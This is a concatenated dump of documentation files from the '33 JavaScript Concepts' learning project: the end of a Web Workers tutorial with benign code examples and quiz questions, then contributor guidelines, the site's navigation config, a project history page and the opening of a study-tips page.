prime-worker.js function isPrime(n) { if (n < 2) return false for (let i = 2; i <= Math.sqrt(n); i++) { if (n % i === 0) return false } return true } function findPrimes(max) { const primes = [] for (let i = 2; i <= max; i++) { if (isPrime(i)) primes.push(i) } return primes } self.onmessage = (event) => { const { findPrimesUpTo } = event.data const start = performance.now() const primes = findPrimes(findPrimesUpTo) const timeTaken = performance.now() - start self.postMessage({ primes, timeTaken }) } ``` ### Pattern 2: Data Parsing Parsing large JSON or CSV files: ```javascript // main.js const worker = new Worker('parser-worker.js', { type: 'module' }) async function parseFile(file) { const text = await file.text() worker.postMessage({ csv: text }) } worker.onmessage = (event) => { const { rows, headers, errors } = event.data console.log(`Parsed ${rows.length} rows`) displayData(rows) } document.getElementById('fileInput').addEventListener('change', (e) => { parseFile(e.target.files[0]) }) ``` ```javascript // parser-worker.js function parseCSV(text) { const lines = text.split('\n') const headers = lines[0].split(',').map(h => h.trim()) const rows = [] const errors = [] for (let i = 1; i < lines.length; i++) { const line = lines[i].trim() if (!line) continue try { const values = line.split(',') const row = {} headers.forEach((header, index) => { row[header] = values[index]?.trim() }) rows.push(row) } catch (e) { errors.push({ line: i, error: e.message }) } } return { headers, rows, errors } } self.onmessage = (event) => { const { csv } = event.data const result = parseCSV(csv) self.postMessage(result) } ``` ### Pattern 3: Real-Time Data Processing Processing streaming data (like from WebSocket or sensors): ```javascript // main.js const processingWorker = new Worker('stream-worker.js', { type: 'module' }) const ws = new WebSocket('wss://data-feed.example.com') ws.onmessage = (event) => { // Don't process on main thread - send to worker processingWorker.postMessage(JSON.parse(event.data)) } processingWorker.onmessage = (event) => { // Only update UI with processed results updateChart(event.data) } ``` ```javascript // stream-worker.js let buffer = [] const BATCH_SIZE = 100 function processBuffer() { if (buffer.length < BATCH_SIZE) return // Calculate statistics const values = buffer.map(d => d.value) const avg = values.reduce((a, b) => a + b, 0) / values.length const max = Math.max(...values) const min = Math.min(...values) self.postMessage({ avg, max, min, count: buffer.length }) buffer = [] } self.onmessage = (event) => { buffer.push(event.data) processBuffer() } // Process remaining data periodically setInterval(processBuffer, 1000) ``` --- ## Worker Pools: Reusing Workers Creating workers has overhead. For repeated tasks, use a **worker pool** to reuse workers instead of creating new ones: ```javascript // WorkerPool.js export class WorkerPool { constructor(workerScript, poolSize = navigator.hardwareConcurrency || 4) { this.workers = [] this.queue = [] this.poolSize = poolSize this.workerScript = workerScript // Create workers for (let i = 0; i < poolSize; i++) { this.workers.push({ worker: new Worker(workerScript, { type: 'module' }), busy: false }) } } runTask(data) { return new Promise((resolve, reject) => { const task = { data, resolve, reject } // Find available worker const available = this.workers.find(w => !w.busy) if (available) { this.#runOnWorker(available, task) } else { // Queue the task this.queue.push(task) } }) } #runOnWorker(workerInfo, task) { workerInfo.busy = true const handleMessage = (event) => { workerInfo.worker.removeEventListener('message', handleMessage) workerInfo.busy = false task.resolve(event.data) // Process queued tasks if (this.queue.length > 0) { const nextTask = this.queue.shift() this.#runOnWorker(workerInfo, nextTask) } } const handleError = (error) => { workerInfo.worker.removeEventListener('error', handleError) workerInfo.busy = false task.reject(error) } workerInfo.worker.addEventListener('message', handleMessage) workerInfo.worker.addEventListener('error', handleError) workerInfo.worker.postMessage(task.data) } terminate() { this.workers.forEach(w => w.worker.terminate()) this.workers = [] this.queue = [] } } ``` ```javascript // main.js - Using the pool import { WorkerPool } from './WorkerPool.js' const pool = new WorkerPool('compute-worker.js', 4) // Process many items in parallel async function processItems(items) { const results = await Promise.all( items.map(item => pool.runTask(item)) ) return results } // Example: process 100 items using 4 workers const items = Array.from({ length: 100 }, (_, i) => ({ id: i, data: Math.random() })) const results = await processItems(items) console.log(results) // Clean up when done pool.terminate() ``` ```javascript // compute-worker.js self.onmessage = (event) => { const { id, data } = event.data // Simulate heavy computation let result = data for (let i = 0; i < 1000000; i++) { result = Math.sin(result) * Math.cos(result) } self.postMessage({ id, result }) } ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WORKER POOL │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ MAIN THREAD │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ WorkerPool │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ │ │ TASK QUEUE │ │ │ │ │ │ [Task 5] [Task 6] [Task 7] [Task 8] ... │ │ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └──────────────┬───────────────┬───────────────┬───────────────┬───┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Worker 1 │ │ Worker 2 │ │ Worker 3 │ │ Worker 4 │ │ │ │ [Task 1] │ │ [Task 2] │ │ [Task 3] │ │ [Task 4] │ │ │ │ (busy) │ │ (busy) │ │ (busy) │ │ (busy) │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ • Reuses existing workers (no creation overhead) │ │ • Tasks queue when all workers are busy │ │ • Automatically assigns tasks as workers become free │ │ • Pool size often matches CPU core count │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> `navigator.hardwareConcurrency` returns the number of logical CPU cores. Using this as your pool size lets you maximize parallelism without oversubscribing. </Tip> --- ## Inline Workers: The Blob URL Trick Sometimes you want a worker without a separate file. You can create workers from strings using [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) URLs: ```javascript // Create a worker from a string (no separate file needed!) function createWorkerFromString(code) { const blob = new Blob([code], { type: 'application/javascript' }) const url = URL.createObjectURL(blob) const worker = new Worker(url) // The URL can be revoked immediately after the worker is created. // The browser keeps the blob data until the worker finishes loading. URL.revokeObjectURL(url) return worker } // Usage const workerCode = ` self.onmessage = (event) => { const numbers = event.data const sum = numbers.reduce((a, b) => a + b, 0) self.postMessage(sum) } ` const worker = createWorkerFromString(workerCode) worker.postMessage([1, 2, 3, 4, 5]) worker.onmessage = (e) => console.log('Sum:', e.data) // Sum: 15 ``` ### A Cleaner Pattern: Function-Based Workers You can even define the worker logic as a function: ```javascript function createWorkerFromFunction(fn) { // Convert function to string and wrap in self.onmessage const code = ` const workerFn = ${fn.toString()} self.onmessage = (event) => { const result = workerFn(event.data) self.postMessage(result) } ` const blob = new Blob([code], { type: 'application/javascript' }) const url = URL.createObjectURL(blob) return new Worker(url) } // Usage - define worker logic as a normal function! const worker = createWorkerFromFunction((data) => { // This runs in the worker return data.map(n => n * 2) }) worker.postMessage([1, 2, 3]) worker.onmessage = (e) => console.log(e.data) // [2, 4, 6] ``` <Warning> **Limitations of inline workers:** - The function can't use closures (no access to outer scope) - Can't import modules (the code is a string) - Harder to debug (no source maps) - Best used for simple, self-contained tasks </Warning> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Web Workers provide true parallelism** — Unlike async/await (which is concurrent but single-threaded), workers run on separate CPU threads simultaneously. 2. **Use workers for CPU-bound tasks** — Async is for waiting (network, timers). Workers are for computing (heavy calculations, data processing). 3. **Workers communicate via `postMessage`** — Data is copied by default using the structured clone algorithm. Workers can't directly access main thread variables. 4. **Workers can't touch the DOM** — No `document`, no `window`, no `localStorage`. If you need to update the UI, send data back to the main thread. 5. **Transfer large data instead of copying** — For big ArrayBuffers, use `postMessage(data, [data])` to transfer ownership. The transfer is nearly instant. 6. **Module workers are the modern approach** — Use `new Worker('file.js', { type: 'module' })` to enable `import`/`export` syntax and modern features. 7. **Three types of workers exist** — Dedicated (one owner), Shared (multiple tabs), and Service Workers (network proxy). Use Dedicated for most cases. 8. **Always terminate workers when done** — Call `worker.terminate()` or they'll keep running and consuming resources. 9. **Don't overuse workers for small tasks** — Worker creation and message passing have overhead. Only use them for tasks taking 50ms+. 10. **Worker pools improve performance** — Reuse workers instead of creating new ones for repeated tasks. Match pool size to CPU cores. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between async/await and Web Workers?"> **Answer:** Async/await provides **concurrency** on a single thread. When you `await`, JavaScript pauses that function and runs other code, but everything still runs on one thread, taking turns. Web Workers provide **parallelism** on multiple threads. A worker runs on a completely separate thread, executing simultaneously with the main thread. ```javascript // Async: Takes turns on one thread async function fetchData() { await fetch('/api') // Pauses here, other code can run } // Workers: Actually runs at the same time const worker = new Worker('heavy-task.js') worker.postMessage(data) // Worker computes in parallel // Main thread continues immediately ``` Use async for I/O-bound tasks (network, files). Use workers for CPU-bound tasks (calculations, processing). </Accordion> <Accordion title="Question 2: Why can't workers access the DOM?"> **Answer:** The DOM is not thread-safe. If multiple threads could modify the DOM simultaneously, you'd get race conditions and corrupted state. Browsers would need complex locking mechanisms. Instead, browsers made a design choice: only the main thread can touch the DOM. Workers do computation and send results back: ```javascript // worker.js // ❌ Can't do this document.getElementById('result').textContent = 'Done' // ✓ Send data back instead self.postMessage({ result: 'Done' }) // main.js worker.onmessage = (e) => { document.getElementById('result').textContent = e.data.result } ``` This constraint keeps things simple and bug-free. </Accordion> <Accordion title="Question 3: When should you use transferable objects?"> **Answer:** Use transferable objects when: 1. You're sending large data (> 1MB) 2. You don't need to keep the data in the sending context ```javascript // Large buffer (100MB) const buffer = new ArrayBuffer(100 * 1024 * 1024) // ❌ SLOW: Copies 100MB worker.postMessage(buffer) // ✓ FAST: Transfers ownership instantly worker.postMessage(buffer, [buffer]) // buffer is now empty (byteLength = 0) ``` Transferable objects include: ArrayBuffer, MessagePort, ImageBitmap, OffscreenCanvas, and various streams. </Accordion> <Accordion title="Question 4: What's the difference between Dedicated and Shared Workers?"> **Answer:** **Dedicated Workers** belong to a single script. Only that script can communicate with them. ```javascript const worker = new Worker('worker.js') // Only this script uses it ``` **Shared Workers** can be accessed by multiple scripts, even across different tabs of the same origin. ```javascript // Tab 1 and Tab 2 both connect to the same worker const worker = new SharedWorker('shared.js') worker.port.postMessage('hello') ``` Use Shared Workers for: - Shared state across tabs - Single WebSocket connection for multiple tabs - Reducing memory by sharing one worker instance Note: Shared Workers have limited browser support (not in Safari). </Accordion> <Accordion title="Question 5: How do you create a worker without a separate file?"> **Answer:** Use a Blob URL to create a worker from a string: ```javascript const code = ` self.onmessage = (event) => { const result = event.data * 2 self.postMessage(result) } ` const blob = new Blob([code], { type: 'application/javascript' }) const url = URL.createObjectURL(blob) const worker = new Worker(url) worker.postMessage(5) worker.onmessage = (e) => console.log(e.data) // 10 // Clean up URL.revokeObjectURL(url) ``` This is useful for simple tasks or demos, but has limitations: no imports, no closures, harder to debug. </Accordion> <Accordion title="Question 6: What happens if you forget to terminate a worker?"> **Answer:** The worker keeps running and consuming resources (memory, CPU time). If you create workers in a loop or on repeated events without terminating them, you'll leak resources: ```javascript // ❌ Memory leak: creates new worker every click button.onclick = () => { const worker = new Worker('task.js') worker.postMessage(data) worker.onmessage = (e) => showResult(e.data) // Worker never terminated! } // ✓ Fixed: terminate after use button.onclick = () => { const worker = new Worker('task.js') worker.postMessage(data) worker.onmessage = (e) => { showResult(e.data) worker.terminate() // Clean up } } // ✓ Better: reuse one worker const worker = new Worker('task.js') worker.onmessage = (e) => showResult(e.data) button.onclick = () => { worker.postMessage(data) // Reuse } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are Web Workers in JavaScript?"> Web Workers are a browser API that lets you run JavaScript in background threads, separate from the main UI thread. As defined in the WHATWG HTML Living Standard, workers execute in an isolated global context with no access to the DOM. They communicate with the main thread through `postMessage()` and are supported in all modern browsers. </Accordion> <Accordion title="What is the difference between Web Workers and async/await?"> Async/await provides concurrency on a single thread — it helps with waiting for I/O but cannot speed up CPU-intensive computation. Web Workers provide true parallelism by running code on separate OS threads. Use async/await for network requests and timers; use Web Workers for heavy calculations, image processing, or data parsing that would otherwise freeze the UI. </Accordion> <Accordion title="Can Web Workers access the DOM?"> No. Web Workers run in an isolated context and cannot access `document`, `window`, or any DOM APIs. This is by design — the DOM is not thread-safe, so allowing concurrent access would cause race conditions. Workers communicate results back to the main thread via `postMessage()`, and the main thread updates the DOM. </Accordion> <Accordion title="What is the difference between Dedicated Workers, Shared Workers, and Service Workers?"> Dedicated Workers serve a single page and are the most common type. Shared Workers can be accessed by multiple pages from the same origin. Service Workers act as network proxies that enable offline support and push notifications. According to Can I Use data, Dedicated Workers have over 98% browser support, while Shared Workers have more limited support. </Accordion> <Accordion title="What are transferable objects in Web Workers?"> Transferable objects (like ArrayBuffer, MessagePort, and OffscreenCanvas) can be moved between threads without copying. Normal `postMessage()` data is cloned using the structured clone algorithm, which is slow for large data. Transferring ownership is nearly instant regardless of size, but the sending context loses access to the transferred object. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript handles async on a single thread. Workers bypass this limitation. </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> The foundation of async JavaScript. Workers use postMessage, not Promises, for communication. </Card> <Card title="async/await" icon="hourglass" href="/concepts/async-await"> Modern async syntax. Great for I/O, but workers handle CPU-bound tasks better. </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> The original async pattern. Workers use message callbacks for communication. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Web Workers API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API"> Official MDN reference for the Web Workers API. </Card> <Card title="Using Web Workers — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers"> Comprehensive guide to creating and using Web Workers. </Card> <Card title="Worker — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"> API reference for the Worker constructor and methods. </Card> <Card title="Structured Clone Algorithm — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm"> How data is copied when using postMessage. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="How Fast Are Web Workers? — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/"> Performance analysis from Mozilla engineers. Answers "is the overhead worth it?" with real benchmarks. </Card> <Card title="Threading the Web with Module Workers — web.dev" icon="newspaper" href="https://web.dev/articles/module-workers"> Deep dive into module workers with `type: 'module'`. Essential reading for modern worker patterns. </Card> <Card title="Using Web Workers for Safe Concurrent JavaScript — Smashing Magazine" icon="newspaper" href="https://www.smashingmagazine.com/2021/06/web-workers-2021/"> Real-world examples including image processing and physics simulations. Great for seeing workers in action. </Card> <Card title="Comlink — Google Chrome Labs" icon="newspaper" href="https://github.com/GoogleChromeLabs/comlink"> Library that makes workers feel like async functions. Eliminates postMessage boilerplate entirely. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Web Workers Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=Gcp7triXFjg"> Beginner-friendly 12-minute introduction. Perfect starting point if you've never used workers. </Card> <Card title="JavaScript Web Workers — Fireship" icon="video" href="https://www.youtube.com/watch?v=EiPytIxrZtU"> Fast-paced 100-second overview. Great for quick refresher or deciding if you need workers. </Card> <Card title="Web Workers Crash Course — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=tPwkKF8WAXs"> Practical 30-minute deep dive with a real example. Shows the full workflow from problem to solution. </Card> </CardGroup> ================================================ FILE: docs/contributing.mdx ================================================ --- title: "Contributing" description: "Want to contribute to 33 JavaScript Concepts? Learn how to submit improvements, fix issues, and help other developers learn." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Community" "article:tag": "contribute open source, javascript community, github contributions, open source guide" --- ## Welcome Contributors! This project would not be possible without your help and support, and we appreciate your willingness to contribute! <Info> By contributing, you agree that your contributions will be licensed under the [MIT license](https://github.com/leonardomso/33-js-concepts/blob/master/LICENSE). </Info> ## How to Contribute <Steps> <Step title="Fork the Repository"> Start by forking the [main repository](https://github.com/leonardomso/33-js-concepts) to your GitHub account. </Step> <Step title="Make Your Changes"> Add new resources, fix broken links, or improve existing content. </Step> <Step title="Submit a Pull Request"> Create a pull request with a clear description of your changes. </Step> </Steps> ## Adding New Resources When adding new resources, please follow these guidelines: <AccordionGroup> <Accordion title="Resource Quality"> - Resources should be high-quality and educational - Content should be accurate and up-to-date - Prefer resources from reputable sources </Accordion> <Accordion title="Format"> Include the author name in the link text: ```markdown - [Article Title — Author Name](URL) ``` </Accordion> <Accordion title="Categories"> Place resources in the appropriate category: - **Reference**: Official documentation (MDN, ECMAScript spec) - **Articles**: Blog posts and tutorials - **Videos**: YouTube tutorials and conference talks - **Books**: Published books and free online books </Accordion> </AccordionGroup> ## Creating Translations We welcome translations to make this resource accessible to developers worldwide! <Steps> <Step title="Fork the Repository"> Fork the [main repository](https://github.com/leonardomso/33-js-concepts) to your account. </Step> <Step title="Add Yourself to Watch List"> Stay updated with changes by watching the main repository. </Step> <Step title="Translate the Content"> Translate the content in your forked repository. </Step> <Step title="Update the README"> Add a link to your translation in the Community section: ```markdown - [Your language (English name)](link-to-your-repo) — Your Name ``` </Step> <Step title="Submit a PR"> Create a Pull Request with the title "Add [language] translation" </Step> </Steps> ## Code of Conduct Please read our [Code of Conduct](https://github.com/leonardomso/33-js-concepts/blob/master/CODE_OF_CONDUCT.md) before contributing. We are committed to providing a welcoming and inclusive environment for all contributors. ## Questions? If you have any questions, feel free to: - Open an issue on [GitHub](https://github.com/leonardomso/33-js-concepts/issues) - Reach out to the maintainer [@leonardomso](https://github.com/leonardomso) <Card title="View on GitHub" icon="github" href="https://github.com/leonardomso/33-js-concepts"> Check out the repository and start contributing today! </Card> ================================================ FILE: docs/docs.json ================================================ { "$schema": "https://mintlify.com/docs.json", "theme": "maple", "appearance": { "default": "dark", "strict": true }, "name": "33 JavaScript Concepts", "description": "Learn JavaScript with 33 essential concepts every developer should know. Free guide with clear explanations, practical code examples, and curated resources.", "colors": { "primary": "#F0DB4F", "light": "#F0DB4F", "dark": "#C9B83C" }, "favicon": "/favicon.ico", "thumbnails": { "appearance": "dark" }, "seo": { "indexing": "navigable", "metatags": { "og:type": "website", "og:site_name": "33 JavaScript Concepts", "og:locale": "en_US", "og:image": "https://33jsconcepts.com/og-image.png", "twitter:card": "summary_large_image", "twitter:site": "@leonardomso", "twitter:creator": "@leonardomso", "twitter:image": "/og-image.png", "article:author": "Leonardo Maldonado", "author": "Leonardo Maldonado", "keywords": "JavaScript, JS, learn JavaScript, JavaScript tutorial, JavaScript concepts, JavaScript fundamentals, web development, programming, coding, closures, promises, async await, event loop, DOM, prototypes", "language": "en", "coverage": "Worldwide", "distribution": "global", "rating": "general", "revisit-after": "7 days", "category": "Technology, Education, Programming" } }, "search": { "prompt": "Search concept..." }, "metadata": { "timestamp": true }, "navbar": { "links": [ { "label": "GitHub", "href": "https://github.com/leonardomso/33-js-concepts" } ] }, "navigation": { "tabs": [ { "tab": "Learn", "groups": [ { "group": "Getting Started", "icon": "rocket", "pages": [ "index", "getting-started/about", "getting-started/how-to-learn", "getting-started/prerequisites", "getting-started/learning-paths" ] }, { "group": "Fundamentals", "icon": "cube", "pages": [ "concepts/primitive-types", "concepts/primitives-objects", "concepts/type-coercion", "concepts/equality-operators", "concepts/scope-and-closures", "concepts/call-stack" ] }, { "group": "Functions & Execution", "icon": "code", "pages": [ "concepts/event-loop", "concepts/iife-modules" ] }, { "group": "Web Platform", "icon": "browser", "pages": [ "concepts/dom", "concepts/http-fetch", "concepts/web-workers" ] }, { "group": "Object-Oriented JS", "icon": "sitemap", "pages": [ "concepts/factories-classes", "concepts/this-call-apply-bind", "concepts/object-creation-prototypes", "concepts/inheritance-polymorphism" ] }, { "group": "Async JavaScript", "icon": "clock", "pages": [ "concepts/callbacks", "concepts/promises", "concepts/async-await", "concepts/generators-iterators" ] }, { "group": "Functional Programming", "icon": "filter", "pages": [ "concepts/higher-order-functions", "concepts/pure-functions", "concepts/map-reduce-filter", "concepts/recursion", "concepts/currying-composition" ] }, { "group": "Advanced Topics", "icon": "graduation-cap", "pages": [ "concepts/javascript-engines", "concepts/error-handling", "concepts/regular-expressions", "concepts/modern-js-syntax", "concepts/es-modules", "concepts/data-structures", "concepts/algorithms-big-o", "concepts/design-patterns", "concepts/clean-code" ] }, { "group": "What's Next?", "icon": "arrow-right", "pages": [ "beyond/getting-started/overview" ] } ] }, { "tab": "Beyond 33", "groups": [ { "group": "Getting Started", "icon": "rocket", "pages": [ "beyond/getting-started/overview" ] }, { "group": "Language Mechanics", "icon": "gear", "pages": [ "beyond/concepts/hoisting", "beyond/concepts/temporal-dead-zone", "beyond/concepts/strict-mode" ] }, { "group": "Type System", "icon": "code", "pages": [ "beyond/concepts/javascript-type-nuances" ] }, { "group": "Objects & Properties", "icon": "cube", "pages": [ "beyond/concepts/property-descriptors", "beyond/concepts/getters-setters", "beyond/concepts/object-methods", "beyond/concepts/proxy-reflect", "beyond/concepts/weakmap-weakset" ] }, { "group": "Memory & Performance", "icon": "bolt", "pages": [ "beyond/concepts/memory-management", "beyond/concepts/garbage-collection", "beyond/concepts/debouncing-throttling", "beyond/concepts/memoization" ] }, { "group": "Modern Syntax & Operators", "icon": "wand-magic-sparkles", "pages": [ "beyond/concepts/tagged-template-literals", "beyond/concepts/computed-property-names" ] }, { "group": "Browser Storage", "icon": "database", "pages": [ "beyond/concepts/localstorage-sessionstorage", "beyond/concepts/indexeddb", "beyond/concepts/cookies" ] }, { "group": "Events", "icon": "bell", "pages": [ "beyond/concepts/event-bubbling-capturing", "beyond/concepts/event-delegation", "beyond/concepts/custom-events" ] }, { "group": "Observer APIs", "icon": "eye", "pages": [ "beyond/concepts/intersection-observer", "beyond/concepts/mutation-observer", "beyond/concepts/resize-observer", "beyond/concepts/performance-observer" ] }, { "group": "Data Handling", "icon": "file-code", "pages": [ "beyond/concepts/json-deep-dive", "beyond/concepts/typed-arrays-arraybuffers", "beyond/concepts/blob-file-api", "beyond/concepts/requestanimationframe" ] } ] }, { "tab": "Community", "groups": [ { "group": "Get Involved", "icon": "users", "pages": [ "contributing", "translations" ] } ] } ] }, "redirects": [ { "source": "/concepts/value-reference-types", "destination": "/concepts/primitives-objects" } ], "footer": { "socials": { "github": "https://github.com/leonardomso/33-js-concepts", "x": "https://x.com/leonardomso" } } } ================================================ FILE: docs/getting-started/about.mdx ================================================ --- title: "About This Project" sidebarTitle: "What is This Project?" description: "Discover the story behind 33 JavaScript Concepts. Learn what topics are covered, who this guide is for, and how it helps you become a better developer." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Getting Started" "article:tag": "33 javascript concepts, javascript learning guide, open source javascript, github javascript project" --- ## The Origin Story In 2017, Stephen Curtis wrote an article titled ["33 Fundamentals Every JavaScript Developer Should Know"](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1). It outlined the core concepts that separate developers who *use* JavaScript from developers who truly *understand* it. [Leonardo Maldonado](https://github.com/leonardomso) took this idea and built something bigger: a curated collection of the best resources for each concept. What started as a personal learning project became one of the most popular JavaScript repositories on GitHub. <Tip> **Recognition:** GitHub featured this project as one of the [top open source projects of 2018](https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018). </Tip> --- ## Who Is This For? This guide is for anyone who wants to learn JavaScript, regardless of your current level. | If you are... | This guide will help you... | |---------------|---------------------------| | **A complete beginner** | Build a solid foundation from the ground up | | **Self-taught** | Fill gaps in your knowledge | | **Preparing for interviews** | Understand concepts interviewers commonly ask about | | **An experienced developer** | Deepen your understanding of how JavaScript works | There are no prerequisites. If you've never written a line of code, you can start here. --- ## The Original 33 Concepts These are the original 33 concepts that inspired this project. We've since reorganized and expanded some topics, but this is the foundation: <AccordionGroup> <Accordion title="Fundamentals (Concepts 1-6)"> 1. **Call Stack** - How JavaScript tracks function execution 2. **Primitive Types** - String, Number, Boolean, Null, Undefined, Symbol, BigInt 3. **Value Types vs Reference Types** - How data is stored and passed 4. **Type Coercion** - Implicit and explicit type conversion 5. **Equality Operators** - == vs === and how comparisons work 6. **Scope and Closures** - Where variables are accessible and how functions remember their environment </Accordion> <Accordion title="Functions & Execution (Concepts 7-10)"> 7. **Expression vs Statement** - Understanding the difference 8. **IIFE, Modules, and Namespaces** - Code organization patterns 9. **Message Queue and Event Loop** - JavaScript's concurrency model 10. **Timers** - setTimeout, setInterval, and requestAnimationFrame </Accordion> <Accordion title="JavaScript Engines (Concepts 11-13)"> 11. **JavaScript Engines** - V8, SpiderMonkey, and how JS runs 12. **Bitwise Operators** - Low-level operations and typed arrays 13. **DOM and Layout Trees** - How browsers render pages </Accordion> <Accordion title="Object-Oriented JavaScript (Concepts 14-18)"> 14. **Factories and Classes** - Object creation patterns 15. **this, call, apply, and bind** - Context and function binding 16. **new, Constructor, instanceof** - Object instantiation 17. **Prototype Inheritance** - JavaScript's inheritance model 18. **Object.create and Object.assign** - Object manipulation methods </Accordion> <Accordion title="Functional Programming (Concepts 19-23)"> 19. **map, reduce, filter** - Array transformation methods 20. **Pure Functions and Side Effects** - Functional programming basics 21. **Closures** - Functions that remember their scope 22. **Higher-Order Functions** - Functions that operate on functions 23. **Recursion** - Functions that call themselves </Accordion> <Accordion title="Async JavaScript (Concepts 24-26)"> 24. **Collections and Generators** - Iterables and lazy evaluation 25. **Promises** - Handling asynchronous operations 26. **async/await** - Modern async syntax </Accordion> <Accordion title="Advanced Topics (Concepts 27-33)"> 27. **Data Structures** - Arrays, Objects, Maps, Sets, and more 28. **Big O Notation** - Algorithm complexity analysis 29. **Algorithms** - Common algorithms in JavaScript 30. **Inheritance and Polymorphism** - OOP principles 31. **Design Patterns** - Proven solutions to common problems 32. **Currying and Composition** - Advanced functional techniques 33. **Clean Code** - Writing maintainable JavaScript </Accordion> </AccordionGroup> --- ## What We've Changed JavaScript and web development have evolved since the original list was created. We've updated this guide to better reflect what modern developers need to know. ### Concepts We Added | Concept | Why We Added It | |---------|-----------------| | **Callbacks** | Essential for understanding async JavaScript before diving into Promises | | **HTTP and Fetch** | Every web developer needs to know how to make network requests | | **Web Workers** | Important for performance and running code off the main thread | | **Error Handling** | Critical for building reliable applications | | **Regular Expressions** | A fundamental tool for text processing and validation | | **Modern JS Syntax** | Destructuring, spread operator, and other ES6+ features are now standard | | **ES Modules** | The official module system for JavaScript | ### Concepts We Removed or Merged | Original Concept | What Happened | |------------------|---------------| | **Expression vs Statement** | Covered within other concept pages where relevant | | **Timers** | Merged into the Event Loop concept | | **Bitwise Operators** | Rarely used in day-to-day JavaScript development | | **new, Constructor, instanceof** | Merged into Factories and Classes | | **Object.create and Object.assign** | Merged into Object Creation and Prototypes | <Info> The goal isn't to have exactly 33 concepts. It's to give you the knowledge you need to truly understand JavaScript. </Info> --- ## What Makes This Guide Different? ### Learn the Concept, Then Go Deeper Each concept page teaches you the topic directly with clear explanations and practical code examples. Once you understand the fundamentals, you'll find a curated list of articles, videos, and books to explore further. ### Curated Resources Every resource is hand-picked from across the web. Instead of one perspective, you get the best explanations from multiple teachers and sources. ### Community-Driven Hundreds of developers have contributed to this project. Resources are continuously reviewed, updated, and improved by the community. ### Multiple Formats Everyone learns differently. Each concept includes: <CardGroup cols={3}> <Card title="Articles" icon="newspaper"> In-depth written explanations </Card> <Card title="Videos" icon="video"> Visual explanations and talks </Card> <Card title="Books" icon="book"> Comprehensive deep-dives </Card> </CardGroup> ### Available in 40+ Languages Thanks to our community of translators, this guide is accessible to developers worldwide. Check out the [translations page](/translations) to find your language. --- ## Ready to Continue? <CardGroup cols={2}> <Card title="How to Learn" icon="book-open" href="/getting-started/how-to-learn"> Learn how to use this guide effectively </Card> <Card title="Prerequisites" icon="wrench" href="/getting-started/prerequisites"> Set up your learning environment </Card> </CardGroup> ================================================ FILE: docs/getting-started/how-to-learn.mdx ================================================ --- title: "How to Use This Guide" sidebarTitle: "How to Learn" description: "Learn how to study JavaScript effectively. Tips for practicing code, understanding concepts, and getting the most from each lesson in this guide." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Getting Started" "article:tag": "learn javascript effectively, javascript study tips, coding practice, javascript exercises" --- ## How Each Concept Page Works Every concept page in this guide follows a consistent structure to help you learn effectively: <Steps> <Step title="Overview"> Each page starts with a clear explanation of the concept. We break down what it is, why it matters, and how it works in JavaScript. </Step> <Step title="Code Examples"> You'll find practical code examples that demonstrate the concept. Run these in your browser's console or code editor to see them in action. </Step> <Step title="Common Mistakes"> We highlight the mistakes developers commonly make so you can avoid them. </Step> <Step title="Key Takeaways"> A summary of the most important points to remember. </Step> <Step title="Curated Resources"> Hand-picked articles, videos, and book recommendations for deeper learning. </Step> </Steps> --- ## Types of Resources Each concept includes multiple types of learning materials. Choose what works best for your learning style: <CardGroup cols={3}> <Card title="Articles" icon="newspaper"> **Best for:** Deep understanding Written tutorials and explanations you can read at your own pace. Great for reference. </Card> <Card title="Videos" icon="video"> **Best for:** Visual learners Watch concepts explained visually. Many include animations and live coding. </Card> <Card title="Books" icon="book"> **Best for:** Comprehensive learning In-depth coverage for when you want to go deep on a topic. </Card> </CardGroup> <Tip> **Mix it up.** If an article doesn't click, try watching a video on the same topic. Different explanations work for different people. </Tip> --- ## Tips for Effective Learning ### 1. Don't Just Read - Practice Reading about JavaScript isn't enough. You need to write code. ```javascript // Don't just read this example - type it yourself const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(num => num * 2) console.log(doubled) // [2, 4, 6, 8, 10] ``` Open your browser's console (press F12) or use a code editor and actually run the examples. Modify them. Break them. See what happens. ### 2. Take Your Time This isn't a race. Some concepts will click immediately. Others might take days or weeks to fully understand. That's normal. | Concept Type | Typical Time to Understand | |--------------|---------------------------| | Basic syntax | Hours | | Core concepts (scope, closures) | Days to weeks | | Advanced patterns | Weeks to months | ### 3. Follow the Order (Especially for Beginners) The concepts build on each other. If you're new to JavaScript, start from the beginning: 